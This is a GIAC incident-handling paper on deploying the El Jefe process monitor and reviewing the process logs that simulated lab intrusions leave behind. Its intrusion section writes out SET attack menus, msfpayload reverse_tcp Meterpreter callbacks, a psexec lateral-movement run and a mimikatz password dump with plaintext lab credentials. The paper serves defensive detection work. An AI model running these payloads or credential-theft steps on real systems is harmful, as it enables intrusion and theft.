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## Practical El Jefe

#### GIAC (GCIH) Gold Certification

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Abstract

El Jefe is open source process monitoring software for Windows. With this tool, incident handlers gain insight into all processes running on hosts with the El Jefe agent. The agent logs each process's path, checksum, and parent process information to a central server. From this server, responders can identify unusual binaries, or suspicious process relationships, and instruct the agents to fetch files for further analysis. This paper will review the setup of the El Jefe server and deployment of the agents. From there, the paper will explore common use cases for an incident handler and examine the evidence gathered from simulated intrusions.

#### 1. Introduction

"El Jefe is a free situational awareness tool that can drastically reduce the costs for securing your enterprise by making locating and responding to advanced threats incredibly easy." (Immunity Inc., n.d.).

Immunity Inc. is well-known in the offensive security community for their commercial penetration testing tools CANVAS and SILICA. They have released a free passive monitoring tool, called El Jefe, which can help defenders respond to incidents and hunt for signs of compromise.

El Jefe is open source and written in Python. The agent is small, consuming less than 10MB on disk and less than 100MB in RAM, and supports 32-bit and 64-bit Windows clients. The server is built using the Django framework and runs on Linux (Ubuntu or RHEL). The agent logs detailed information about all processes that start on the host.

Similar host activity information can be gleaned from native Windows 'Audit Process Creation' events (Microsoft, 2015), but El Jefe centralizes this information and provides tools to assist with analysis. Additionally, El Jefe provides integration with the Cuckoo malware analysis system, allowing files to be retrieved from remote hosts and submitted directly to a Cuckoo system.

This technology complements traditional malware defenses that fall under Critical Security Control: 5 (SANS Institute, n.d.). El Jefe can assist in analyzing suspicious or anomalous behavior that spans processes or hosts (e.g. privilege escalation or lateral movement).

El Jefe provides the incident handler with a wealth of information that can be used to detect and track attacker activity. Detecting an entrenched attacker continues to be one of the most challenging tasks in security (Mandiant, 2015), and this tool can give the incident handler the upper hand.

## 2. Installing El Jefe

#### 2.1. El Jefe server

The El Jefe server is supported under Ubuntu and Red Hat Enterprise Linux 7. No hardware requirements are specified by Immunity. Agents must to be able to reach the server on TCP/5555. Full installation instructions are available at the El Jefe website (Immunity Inc., 2014).

The following steps were used to install El Jefe on Ubuntu 14.04.2 LTS. The host was a virtual machine with 4GB of RAM, 40GB of hard disk, and 2 vCPUs running under VMware Workstation 10. The install guide recommends "Ubuntu 13.04 LTS", but this is likely a typo. Ubuntu 13.04 did not have a long-term support (LTS) release, and support ended in January 2014 (Quigley, 2015).

First download the source code and verify the integrity of the retrieved file. The combination of HTTPS download and the cryptographic hash confirms the file wasn't altered in transit, but doesn't protect you if the download server is compromised (Ullrich, 2013).

```
cvedaa@ubuntu:~$ wget --quiet
https://eljefe.immunityinc.com/eljefe/eljefe2.2.0.release.tar.gz
cvedaa@ubuntu:~$ wget --quiet
https://eljefe.immunityinc.com/eljefe/SHA1SUM
cvedaa@ubuntu:~$ cat SHA1SUM
d5d1af75c3c9059fc95e9436f70a4e654264bde7
eljefe2.2.0.release.tar.gz
cvedaa@ubuntu:~$ sha1sum eljefe2.2.0.release.tar.gz
d5d1af75c3c9059fc95e9436f70a4e654264bde7
eljefe2.2.0.release.tar.gz
```

Next unpack the source code, and run the installer as root (required because it calls the package manger to install dependencies). The installer will prompt you to specify the username and password that will be used for the web UI.

```
cvedaa@ubuntu:~$ tar -zxf eljefe2.2.0.release.tar.gz
cvedaa@ubuntu:~$ cd eljefe-2.2/webapp/
cvedaa@ubuntu:~/eljefe-2.2/webapp$ sudo ./install_ubuntu.sh
```

Specifically, the following packages are installed by the script.

cvedaa@ubuntu:~/eljefe-2.2/webapp\$ grep apt-get install\_ubuntu.sh apt-get -y install python-psycopg2 build-essential python-dev python-pip postgresql mongodb python-sqlalchemy python-bson python-dpkt python-jinja2 python-magic python-bottle pythonpefile python-chardet

Then configure the IP address on which the XML server will listen. This is the IP the agents communicate with, and it is needed later for the agent configuration.

```
cvedaa@ubuntu:~/eljefe-2.2/webapp$ grep LOGHOST
xmlserver/settings.py
LOGHOST = "0.0.0.0"
cvedaa@ubuntu:~/eljefe-2.2/webapp$ sed -i
s/0.0.0.0/192.168.1.202/ xmlserver/settings.py
cvedaa@ubuntu:~/eljefe-2.2/webapp$ grep LOGHOST
xmlserver/settings.py
LOGHOST = "192.168.1.202"
```

Start the El Jefe server. The install does not create a startup script. These startup commands can be added to /etc/rc.local to start El Jefe at boot.

```
cvedaa@ubuntu:~/eljefe-2.2/webapp$ python manage.py runserver
192.168.1.202:8000 &
cvedaa@ubuntu:~/eljefe-2.2/webapp$ cd xmlserver
cvedaa@ubuntu:~/eljefe-2.2/webapp/xmlserver$ python
ElJefeXMLServer.py &
```

Login to the web user interface via HTTP on port 8000 with the username and password specified during the install. Note: Precautions should be taken to prevent exposing credentials or sessionid cookies in clear text on the network. Accessing the web UI via a SSH tunnel will protect data in transit.



#### Figure 1 - El Jefe login screen

Note: This web application runs under Django's lightweight development Web server, which is not recommend for production use (Django, n.d. a). As an alternative Django can be run under the Apache web server (Django, n.d. b).

#### 2.2. El Jefe agent

In the El Jefe server web UI, navigate to the 'Client' tab. Enter the IP and port (5555) of the XML server; and a username and password for your agent. Click 'Download'. This will download a file named 'ElJefeInstaller\_2.2.0.exe'.

El Jefe - Client Setup ×			
← → C 🗋 eljefe2:8000/home/download_clien	t		\$2 E
ELJEFE	Version: 2.2.0		
Stations - Binaries - Events -	🚓 USB 👻 🛓 Intrusion 👻 🌍	Data 🗸 🕌 Sandbox 👻 🌲 Ale	rts ▼ Welcome, root Log out
		Docs Client	
eljefe			
192.168.1.202			
5555			
Download			
	Home   Contact   1	ор	
	© 2010 El Jefe - Terms - Pi	ivacy Policy	

Figure 2 - El Jefe client download

Note: The agent to XML server communication is secured via HTTPS, but the password is visible to users in the agent's config.ini file (C:\Program Files\Immunity Inc\El Jefe\config.ini). Do not reuse the server web UI credentials here, or they'll be exposed to the user.

```
C:\>type "C:\Program Files\Immunity Inc\El Jefe\config.ini"
[authentication]
user = eljefe
password = eljefe
[log server]
host = 192.168.1.202
port = 5555
```

The certificates used for HTTPS communication are dynamically generated by the ElJefeXMLServer.py script, and located in eljefe-2.2/webapp/xmlserver/certs. If you

want to change these certs you can delete the contents of this directory and restart the XML server. New certificates will be generated automatically.

```
cvedaa@ubuntu:~/eljefe-2.2/webapp/xmlserver/certs$ openssl x509 -
in server.pem -text | head
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 2 (0x2)
    Signature Algorithm: sha512WithRSAEncryption
        Issuer: C=BL, CN=KR Server Authority, L=BL, O=BLABLA,
ST=BL/emailAddress=bla@bla.com, OU=BLABLA
    Validity
        Not Before: Mar 14 14:37:25 2015 GMT
        Not After : Mar 12 14:37:25 2020 GMT
        Subject: CN=192.168.1.202
```

Copy the 'ElJefeInstaller\_2.2.0.exe' file downloaded above to the Windows host(s) targeted for monitoring. Run 'ElJefeInstaller\_2.2.0.exe' and choose 'Install' to install to the default directory.

Jefe service. Please choose a directory:	ell as automatically start t
Destination Folder	Browse
Space required: 13.4MB	

믥 El Jefe Install	er Setup: Completed	
Complete	d	
Show <u>d</u> etails		
Cancel	Nullsoft Install System v2.46	< Back

Figure 3 - client install steps

El Jefe installs as a service and is configured to start automatically.

```
C:\>sc qc "El Jefe"
[SC] QueryServiceConfig SUCCESS
```

```
SERVICE NAME: El Jefe
```

Т	YPE	:	10	WIN32_OW	N_PROCESS	
S	TART_TYPE	:	2	AUTO_STA	ART	
E	RROR_CONTROL	:	1	NORMAL		
В	INARY_PATH_NAME	:	"C:\	Program	Files\Immunity	Inc\El
Jefe\Serv	viceInstall64.exe"					
L	OAD_ORDER_GROUP	:				
Т	'AG	:	0			
D	ISPLAY_NAME	:	El J	ſefe		
D	PEPENDENCIES	:				
S	SERVICE_START_NAME	:	Loca	lSystem		

Note that El Jefe is not present in 'Control Panel\Programs\Programs and Features ', but the uninstaller is available at C:\Program Files\Immunity Inc\El Jefe\uninstall.exe.

Navigate to 'Stations -> Browse' in the server web UI, and verify the server sees the host.

El Jefe - Stations ×	Read Provide Street	A ABOUT AND A	and the second			- <b>C</b> X
← → C 🗋 eljefe2:8000/home/statio	ns					☆ =
😧 ELJEFE	Version: 2.2.0					
Stations - Binaries -	Events 👻 🛶 USB 👻	Intrusion - 🕥 Data	- 💥 Sandbox -	Alerts -	Welcome, <mark>root</mark>	Log out
			Docs	Client		
First « 1 » Last						$\bigcirc$
Search Results : 1						
Last Seen	Hostname	IP Address				
1 minutes ago.	rootique	192.168.1.3	Binaries	Events	**	۴
« <b>1</b> »						
		Home   Contact   Top				
	© :	2010 El Jefe - Terms - Privac	y Policy			

Figure 4 - server view of clients

If the host does not appear in the stations list, check the agent's log file at C:\Program Files\Immunity Inc\El Jefe\ElJefe.log. A log message prefaced with 'ConnectionError' indicates the El Jefe server is unreachable or TCP/5555 traffic is being filtered. A log message containing 'Certificate is invalid' likely indicates the server certificates have changed, and the agent should be reinstalled. If no log messages are being generated, verify the service has started (services.msc or sc query "El Jefe").

#### 2.3. Cuckoo Sandbox

The El Jefe server comes bundled with Cuckoo Sandbox 1.0, located in eljefe-2.2/cuckoo. The El Jefe Installation Guide (Immunity Inc., 2014) includes instructions for configuring Cuckoo with VMware Workstation. Below are instructions for installing Cuckoo with VirtualBox.

The installation guide warns against installing Cuckoo in a VM, but a nested virtualization solution (VMware Workstation -> Ubuntu -> VirtualBox) works for 32-bit guests.

Install VirtualBox on the El Jefe server (Ubuntu virtual machine). cvedaa@ubuntu:~\$ sudo apt-get install virtualbox

Install and configure a Windows 7 guest virtual machine per the Cuckoo documentation (Cuckoo, n.d.).

Create a host-only network for the Windows VM, and configure IP forwarding and NAT on the Ubuntu host.

```
$ VBoxManage hostonlyif create
$ sudo sysctl -w net.ipv4.ip_forward=1
$ sudo iptables -A FORWARD -o eth0 -i vboxnet0 -s 192.168.2.0/24
-m conntrack --ctstate NEW -j ACCEPT
$ sudo iptables -A FORWARD -m conntrack --ctstate
ESTABLISHED,RELATED -j ACCEPT
$ sudo iptables -A POSTROUTING -t nat -j MASQUERADE
$ sudo apt-get install iptables-persistent
$ sudo iptables-save > /etc/iptables/rules.v4
```

Create a snapshot of the Windows VM. Cuckoo will revert to this snapshot before starting a malware analysis task.

```
$ VBoxManage list vms
```

```
$ VBoxManage snapshot "cuckoo" take "cuckoo_snapshot" --pause
```

- \$ VBoxManage controlvm "cuckoo" poweroff
- \$ VBoxManage snapshot "cuckoo" restorecurrent

Configure Cuckoo to use VirtualBox instead of VMware.

```
cvedaa@ubuntu:~/eljefe-2.2/cuckoo/conf$ grep vmware cuckoo.conf
machinery = vmware
cvedaa@ubuntu:~/eljefe-2.2/cuckoo/conf$ sed -i
s/vmware/virtualbox/ cuckoo.conf
cvedaa@ubuntu:~/eljefe-2.2/cuckoo/conf$ grep virtualbox
cuckoo.conf
machinery = virtualbox
Start Cuckoo
```

cvedaa@ubuntu:~/eljefe-2.2/cuckoo\$ python cuckoo.py

		 	_	_			
				/			
				\_		I	

Author Name, email@addresscharlie@packetprotector.org

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```
Cuckoo Sandbox 1.0

www.cuckoosandbox.org

Copyright (c) 2010-2014

2015-03-19 06:53:39,536 [lib.cuckoo.core.scheduler] INFO: Using

"virtualbox" machine manager

2015-03-19 06:53:40,203 [lib.cuckoo.core.scheduler] INFO: Loaded

1 machine/s

2015-03-19 06:53:40,203 [lib.cuckoo.core.scheduler] INFO: Waiting

for analysis tasks...
```

Review the sandbox configuration in the El Jefe web UI.

🔂 ELJ	EFE v	ersion: 2.2.0	5		
Stations - Bina	ries 🔹 📄 Events 🔹 🦂	USB - Intrusion -	♥ Data ▼ ¥ Sandbox ● Docs	x • Alerts • Welcome, root	Log o
Virtual Machines	Virtualization Conf				
Machine Id	Platform	File	Snapshot	IP Address	
		cuckoo	cuckoo_snapshot	192.168.2.2	
cuckoo	windows				
cuckoo	windows				

Figure 5 - Cuckoo configuration

Files can now be retrieved from hosts running the El Jefe agent and submitted directly to Cuckoo for analysis.

## 3. Using El Jefe

## 3.1. Getting started

From the server web UI, navigate to 'Binaries -> Browse' to see an inventory of executable files that have run since the deployment of the El Jefe agent(s). Hover over the eye icon to send the file's SHA256 hash to VirusTotal and receive a visual indicator of the results.

	🗅 El Jefe - Binaries 🛛 🗙	and some from the late of some of the			
← →	C eljefe2:8000/home/bi	inaries/1/All/			☆ =
	ELJEFE	Version: 2.2.0			Î
<b></b>	Stations	🖹 Events 🗸 🚓 USB 🗸 🛓 Intrusion 👻 🌍 Data 👻 🎽	Sandbox - Alerts - Welcome,	root L	.og out
		6	Docs Client		
	Station	Path Binary	SHA1		
	rootique	C:\Users\cvedaa\AppData\Local\Google\Update\GoogleUpdate.exe	d30e8c7543adbc801d675068530b57d75cabb13f	Events	ß
	rootique	C:\Windows\System32\mspaint.exe	3f97dc3bd1467c710c6a8d26b97bb6cf47deb4c6	Events	٩
	rootique	C:\Windows\system32\mspaint.exe	3f97dc3bd1467c710c6a8d26b97bb6cf47deb4c6	Events	۲
	rootique	C:\Windows\system32\sc.exe	db1f81f5e209fed6df3255f6c820555cf17a839c	Events	۲
	rootique	C:\Windows\system32\cmd.exe	0f3c4ff28f354aede202d54e9d1c5529a3bf87d8	Events	$\odot$
	rootique	G:\Windows\system32\NOTEPAD.EXE Home   Contact   Top	7eb0139d2175739b3ccb0d1110067820be6abd29	Events	۲
4		© 2010 El Jefe - Terms - Privacy Policy			

Figure 6 - browsing binaries

Click on the file path or hash in the table to see additional details about a file. From this screen you can also request the file be retrieved from the host, and then submit it for sandbox analysis.

Ellefe ×		
← → C 🗋 eljefe2:8000/home	e/display/binary/112	☆ =
🚯 ELJEF	Version: 2.2.0	
Stations → Binaries →	📄 Events 👻 🛶 USB 👻 👤 Intrusion 👻 🌑 Data 👻 🎽 Sandbox 👻 🌲 Alerts 👻	Welcome, root Log out
	Docs 🕒 Client	
Binary information 👁	ð	
Hostname	rootique	
IP Address	192.168.1.3	
Full Path	C:\Users\cvedaa\AppData\Local\Google\Update\GoogleUpdate.exe	
Last Execution	March 19, 2015, 6:13 a.m.	
Binary MD5	506708142bc63daba64f2d3ad1dcd5bf	
Binary SHA1	d30e8c7543adbc801d675068530b57d75cabb13f	
Binary SHA256	9c36a08d9e7932ff4da7b5f24e6b42c92f28685b8abe964c870e8d7670fd531a	
Binary Size	116648	
Architecture	32 bit executable	
0.4. 0.4	Home   Contact   Top	
	© 2010 El Jefe - Terms - Privacy Policy	

Figure 7 - binary details

Clicking the detail view automatically submits the file's SHA256 hash to the CAMAL sandbox service, operated by COSEINC of Singapore. Both the calls to VirusTotal and CAMAL are done via HTTPS, ensuring no data about your files is leaked to parties that are able to monitor your network traffic. If you are concerned about leaking information to either of these services, the functions to patch are located in eljefe-2.2/webapp/home/views.py.

```
cvedaa@ubuntu:~/eljefe-2.2/webapp/home$ grep -E "def camal|def
virustotal" views.py
def virustotal(request):
def camal_get_info(request):
def camal_download_report(request, file_hash):
def camal_upload_binary(request):
```

Next navigate to 'Events -> Search' to see a detailed history of processes on the monitored hosts. Details include the time of execution, the user, the parent process, and any command line options.

-	🗅 El Jefe - Events 🛛 🗙			×
$\leftarrow \rightarrow$	C i eljefe2:8000/home/events/search		\$	Ξ
Į Į	ELJEFE	Version: 2.2.0		^
Sta	ations • Binaries • Events •	🚓 USB 👻 🛓 Intrusion 👻 🎧 Data 👻 💥 Sandbox 👻 🌲 Alerts 👻	Welcome, root Log out	
		1 Docs Client		
Date	Parent Binary	Binary	Cmdline Us	SE
March 19, 2015, 10:28 a.m.	C:\Windows\system32\SearchIndexer.exe	C:\Windows\system32\SearchProtocolHost.exe	"C:\Windows\system32	4 U
March 19, 2015, 10:28 a.m.	C:\Windows\system32\svchost.exe	C:\Windows\system32\DilHost.exe	C:\Windows\system32\ R	0
March 19, 2015,	C:\Windows\system32\SearchIndexer.exe	C:\Windows\system32\SearchFilterHost.exe	"C:\Windows\system32	U
10.58		Home   Contact   Top		
		© 2010 El Jefe - Terms - Privacy Policy		Ţ
•			,	•

Figure 8 – events

The binary inventory and execution event log provide deep insight into activity on monitored hosts. The following sections will explore how an incident handler can use this information.

#### 3.2. Least frequently seen files

If an incident handler is working in an environment with a homogeneous set of workstations, a good place to start hunting for signs of malicious activity is the files only seen on one host. Navigate to 'Binaries -> Unique binaries' to see the rarest execution events on your network.

-	🗅 El Jefe - Binaries 🗙 🚬	1000	
$\leftarrow \rightarrow$	C 🕒 eljefe2:8000/home/binaries/unique		☆ =
Ę	Version: 2.2.0		
st	ations 🗸 📑 Binaries 👻 💼 Events 👻 🚓 USB 👻 🛓 Int	rusion 👻 🎧 Data 👻 Sandbox 👻	Alerts - Welcome, root Log out
		i Docs 🕓 Cli	ent
: 148			
First Run	Path	Binary SHA1	Cmdline
March 19, 2015, 6:11 a.m.	C:\Windows\system32\taskeng.exe	2d5a9ffae8898ba67963290fc4e1ddf99ded5e2e	taskeng.exe (DA2A625E-BEFF-422A-AB79-BEDEA
March 19, 2015, 6:13 a.m.	C:\Users\cvedaa\AppData\Local\Google\Update\GoogleUpdate.exe	d30e8c7543adbc801d675068530b57d75cabb13f	C:\Users\cvedaa\AppData\Local\Google\Update\Go
March 19,	C:\Users\cvedaa\AppData\Local\Google\Chrome\Application\chrome.exe	a7cae227fc7ef1eae93c72bc512f4dff112ac1bb	"C:\Users\cvedaa\AppData\Local\Google\Chrome\A reuse_instant_search_base_page:1/EnhancedBook
		Home   Contact   Top	
	© 2010 E	LI JETE - TERMS - PRIVACY Policy	-
1			• • •

Figure 9 - unique events

#### 3.3. Suspicious parent process

Execution events that are normal in one context may be suspicious in another.

You may see cmd.exe run regularly in your environment, but it is likely worth investigating if the parent process is java.exe or if the user is NT AUTHORITY\SYSTEM. Go to 'Events -> Search -> binary -> cmd.exe -> Query' to review the process relationships for cmd.exe.

El Jefe - Events	×				
← → C 🗋 eljefe2:8000/h	ome/events/search				ක් <b>=</b>
😧 🔂 🚯	FE v	ersion: 2.2.0			Î
Stations - Binaries	Events -	🖶 USB 👻 上 Intrusion 👻	🕼 Data 👻 🎽 Sandbox 🗸	Alerts - We	elcome, root Log out
			Docs	Client	A. 1
binary			•		
cmd.exe					
Query					
First « 1 » Last					
Search Results : 1					
Date	Parent Binary	Binary	Cmdline	Username	Station
March 19, 2015, 11:32 a.m.	C:\Windows\Explorer.EXE	C:\Windows\system32\cmd	.exe "C:\Windows\system	32 ROOTIQUE\cvedaa	rootique
		Home   Con	tact   Top		
		© 2010 El Jefe - Ter	ms - Privacy Policy		
1					•

Figure 10 - parent process information

#### 3.4. High entropy executables

High entropy is an indicator that a file may be packed to avoid detection by antimalware tools (Sikorski, M., & Honig, A., 2012). The entropy value is a measure of file randomness. Random data will have high entropy, as well as compressed or encrypted files. Go to 'Intrusion -> Methods -> ENTROPY:SUSPICIOUS -> Query' to search for these files.

El Jefe - Stations ×	
← → C □ eljefe2:8000/home/intrusion/	ية الأك
Version: 2.2.0	
🖵 Stations 🗸 📲 Binaries 🗸 📋 Events 🗸 🦛 USB 🗸 🛓 Intrusion 👻 🎧 Data 🗸 💥 San	Ibox - Alerts - Welcome, root Log out
	s Client
From	
То	
ENTROPY: SUSPICIOUS	
Query	
First « 1 » Last	
Search Results : 8	
Station Binary Path Sha	1
hax0r	d50f2a6cc6ec570ffb9bd1f8702149691ab8f Events
Home   Contact   Top	
© 2010 El Jefe - Terms - Privacy Policy	•

Figure 11 - high entropy files

#### 3.5. USB storage device tracking

When malware is discovered on a USB storage device, the incident handler needs to know which computers this device has touched. Go to 'USB -> Search' to search for removable storage devices by vendor ID or serial number.

El Jefe - Events		- • ×
← → C 🗋 eljefe2:800	0/home/usb_events/search	☆ =
🚯 ELJ	EFE Version: 2.2.0	•
Stations - Bina	ries 🔹 📋 Events 🗸 🚓 USB 👻 🛓 Intrusion 👻 🎧 Data 👻 Sandbox 🔹 🌲 Alerts 👻 Welcome, root	Log out
	Docs Client	
Query		
First « 1 » Last Search Results : 4		
Date	Info	
March 19, 2015, 12:26 p.m.	USB Flash Disk USB Device with serial number 46424931333132313432303334363735 was Connected to station hax0r and mapped to F:	
March 19, 2015, 12:26 p.m.	USB Flash Disk USB Device with serial number 46424931333132313432303334363735 was Disconnected from station hax0r	C
March 19, 2015, 11:08 a.m.	USB Flash Disk USB Device with serial number 46424931333132313432303334363735 was Disconnected from station rootique	
March 19, 2015, 11:06 a.m.	USB Flash Disk USB Device with serial number 46424931333132313432303334363735 was Connected to station rootique and mapped to F:	
	Home   Contact   Top	
	© 2010 El Jefe - Terms - Privacy Policy	-

Figure 12 - USB device search

## 4. Intrusion Analysis

#### 4.1. Drive by download

A Java applet JMX vulnerability, CVE-2013-0422, is exploited when the victim browses an attacker controlled site with Internet Explorer. The attack is setup using the Social-Engineer Toolkit (SET) and Metasploit.

root@kali:~# setoolkit

- 1) Social-Engineering Attacks
- 2) Website Attack Vectors
- 2) Metasploit Browser Exploit Method
- 1) Web Templates
- 5) Java Applet JMX Remote Code Execution (UPDATED 2013-01-19)

9) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter

When the user accesses the page, Java is exploited, and a Java Meterpreter is loaded.

```
java jre17 jmxbean 2 - handling request for
[*] 192.168.1.8
/
[*] 192.168.1.8
                     java jre17 jmxbean 2 - Sending HTML
                     java jre17 jmxbean 2 - handling request for
[*] 192.168.1.8
/FkGvZLO.jar
                     java jre17 jmxbean 2 - Sending JAR
[*] 192.168.1.8
[*] 192.168.1.8
                     java jre17 jmxbean 2 - handling request for
/FkGvZLO.jar
                     java jre17 jmxbean 2 - Sending JAR
[*] 192.168.1.8
[*] 192.168.1.8
                     java jre17 jmxbean 2 - handling request for
/java/lang/ClassBeanInfo.class
[*] 192.168.1.8
                     java jre17 jmxbean 2 - handling request for
/java/lang/ObjectBeanInfo.class
[*] 192.168.1.8
                     java jre17 jmxbean 2 - handling request for
/java/lang/ObjectCustomizer.class
[*] 192.168.1.8
                     java jre17 jmxbean 2 - handling request for
/java/lang/ClassCustomizer.class
[*] Sending stage (30680 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.11:443 ->
192.168.1.8:1402) at 2015-03-19 21:03:47 -0400
```

In El Jefe, the log trail shows Internet Explorer spawning java.exe, and java.exe running 'metasploit.Payload'.

ElJefe ×	al any loss to any				
← → C 🗋 eljefe2:8000/home/	/display/event/530	☆ =			
🚯 ELJEF	Version: 2.2.0				
Stations • Binaries •	Events	Log out			
Binary PID	5296 PID Tree				
Binary SHA1	56e1ffa14ff97f756a02c26cf53a44e6e6cbdd00				
Parent Binary	C:\Program Files\Java\jre7\bin\java.exe				
Parent Binary PID	5296				
Parent Binary SHA1	Parent Binary SHA1         56e1ffa14ff97f756a02c26cf53a44e6e6cbdd00				
CmdLine	"C:\Program Files\Java\jre7\bin\java.exe" -classpath C:\Users\root\AppData\Local\Temp\~spawn4094550199297251655.tmp.dir metaspiolt.Payload				
Flags	N/A				
Creation Class Name	Win32_Process				
Handle	5464				
	Home   Contact   Top				
	© 2010 El Jefe - Terms - Privacy Policy	-			

Figure 13 - Metasploit payload

#### 4.2. Java applet

The victim is prompted to run a malicious Java applet hosted by the attacker.

```
root@kali:~# setoolkit
```

- 1) Social-Engineering Attacks
- 2) Website Attack Vectors
- 1) Java Applet Attack Method
- 1) Web Templates
- 11) SE Toolkit Interactive Shell

Custom interactive

reverse toolkit designed for SET

The victim clicks through a security warning.



Figure 14 - Java security warning

The attacker gains interactive access.

```
[*] Connection received from: 192.168.1.8
```

```
*** Pick the number of the shell you want ***
```

```
1: 192.168.1.8:WINDOWS
```

```
set> 1
```

[\*] Dropping into the Social-Engineer Toolkit Interactive Shell. set:active target>

In El Jefe under 'Intrusion -> Methods -> CALL CHAIN: iexplorer->java->cmd' the exploitation is logged.

El Jefe - Stations	×		FF			
← → C 🗋 eljefe2:8000/h	ome/intrusion/				☆ <b>=</b>	
🚯 ELJE	Version: 2.2.0					
Stations - Binaries	▪ 🖹 Events ▪ •द+ USB ▼ 上	Intrusion 🗸 🎧 Data 🗸 🎽	Sandbox 🔹 🔺	Alerts - Welco	me, root Log out	
		e	Docs Clier	nt		
То						
CALL CHAIN: iexplorer->java	a->cmd		•			
Query						
First « 1 » Last						
Search Results : 1						
Date	Parent Binary	Binary	Cmdline	Username	Station	
March 19, 2015, 10:02 p.m.	C:\Program Files\Java\jre7\bin\java.exe	C:\Windows\System32\cmd.e>	ke N/A	Unknown\Unknown	hax0r 🛄	
Home   Contact   Top						
	© 2010 El Jefe - Terms - Privacy Policy					
					•	

Figure 15 - Java call chain

#### 4.3. Office macro

The victim is prompted to run a malicious macro in a Microsoft Word document (Offensive Security, n.d. b).

```
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.11
LPORT=8080 ENCODING=shikata_ga_nai V
msfcli exploit/multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.11
LPORT=8080 E
```

The output of the 'msfpayload' command is pasted into a .doc file. The victim opens this file and clicks through a security warning.



Figure 16 - Word macro warning

The attacker gains interactive access.

- [\*] Sending stage (770048 bytes) to 192.168.1.3
- [\*] Meterpreter session 1 opened (192.168.1.11:8080 ->
- 192.168.1.3:49958) at 2015-03-19 23:15:20 -0400

In El Jefe, the event log shows Word spawning FuRcejXvi.exe.

ELJEFE	Version: 2.2.0				
Stations • Binaries • Events	🔹 🚓 USB 👻 🛓 Intrusion 👻 🎧 Data 👻 💥 Sandbox 👻 Alerts 👻	Welcome, root Log o			
	Docs U Client				
Hostname	rootique				
IP Address	192.168.1.3	192.168.1.3			
Username	ROOTIQUE\cvedaa				
Timestamp	March 19, 2015, 11:15 p.m.				
Binary	C:\Users\cvedaa\FuRcejXvi.exe				
Binary PID	PID Tree 9148 di  C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE (2712) └ C:\Users\cvedaa\FuRcejXvi.exe (9148)				
Binary SHA1	f6b8f55b319caa165ca2fc8eefc5982557dff9c1	f6b8f55b319caa165ca2fc8eefc5982557dff9c1			
Parent Binary	C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE	C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE			
Parent Binany PID	2712				

Figure 17 - FuRcejXvi.exe

#### 4.4. Infected thumb drive

The victim runs a malicious executable from a thumb drive.

```
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.9
LPORT=8080 ENCODING=shikata_ga_nai X > readme.exe
msfcli exploit/multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.9
LPORT=8080 E
```

The attacker gains interactive access.

```
[*] Sending stage (770048 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.9:8080 ->
192.168.1.8:1179) at 2015-03-20 07:17:14 -0400
meterpreter > shell
Process 4084 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
```

F:\>whoami whoami hax0r\root

In El Jefe, the logs show Explorer launching readme.exe, which then spawns cmd.exe when the attacker starts the shell.

	C El Jefe - Events ×				
$\leftarrow \rightarrow$	C beliefe2:8000/home/events/search	☆ =			
Ę	Version: 2.2.0	<b>^</b>			
Sta	ations 🗸 📑 Binaries 🗸 📑 Events 👻 🚓 USB 👻 🛓 Intrusion 👻 🎧 Data 🍷 💥 Sandbox 👻 🌲 Alerts 👻 Welcome, root	Log out			
	Docs Client				
First	« 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 » Last	9)			
Search Results : 780					
Date	Parent Binary Binary Cmdline	Usŧ			
March 20, 2015, 7:19 a.m.	tarch     F./readme.exe     C./Windows/system32/cmd.exe       10,        10,				
March 20,	C:\Windows\Explorer.EXE F:\readme.exe "F:\readme.exe"				
	Home   Contact   Top				
	© 2010 El Jefe - Terms - Privacy Policy				
•		•			

Figure 18 - execution from USB drive

#### 4.5. Lateral movement

The attacker accesses the victim machine using a shared local administrator password recovered from another compromised host on the network.

```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.8
RHOST => 192.168.1.8
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass Shared.Admin.Password!
SMBPass => g0rillA!
msf exploit(psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(psexec) > exploit
[*] Connecting to the server...
[*] Started bind handler
[*] Authenticating to 192.168.1.8:445|WORKGROUP as user
'Administrator'...
[*] Uploading payload...
```

[\*] Created \RusxrpSq.exe...
[\*] 192 168 1 8.445 - Service started

[+] 192.168.1.8:445 - Service started successfully...

[\*] Deleting \RusxrpSq.exe...

[\*] Sending stage (770048 bytes) to 192.168.1.8

[\*] Meterpreter session 1 opened (192.168.1.9:42497 ->

192.168.1.8:4444) at 2015-03-20 10:02:31 -0400

meterpreter >

The attacker recovers the victim's password from memory (Offensive Security,

n.d. a).

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
```

\_\_\_\_\_

AuthID	Package	Domain	User	Password		
0;999	NTLM	WORKGROUP	HAX0R\$			
0;76784	NTLM					
0;996	Negotiate	WORKGROUP	HAX0R\$			
0;997	Negotiate	NT AUTHORITY	LOCAL SERVICE			
0;76968181	NTLM	hax0r	Administrator			
Shared.Admi	Shared.Admin.Password!					
0 <b>;</b> 160708	NTLM	hax0r	root	gold.paper!		
0 <b>;</b> 160681	NTLM	hax0r	root	gold.paper!		
0;867074	NTLM	hax0r	vmware_user			

zrl8)8H1LzBeLn1p\*qF@oiv%0ggy!gy^

In El Jefe, the logs show rundll32.exe run by NT AUTHORITY\SYSTEM.

El Jefe - Even	its ×		110			
$\leftarrow \rightarrow \mathbb{C}$ $\bigtriangleup$ eljefe2:8000/home/stations/view/events/3 $\bigtriangleup$						
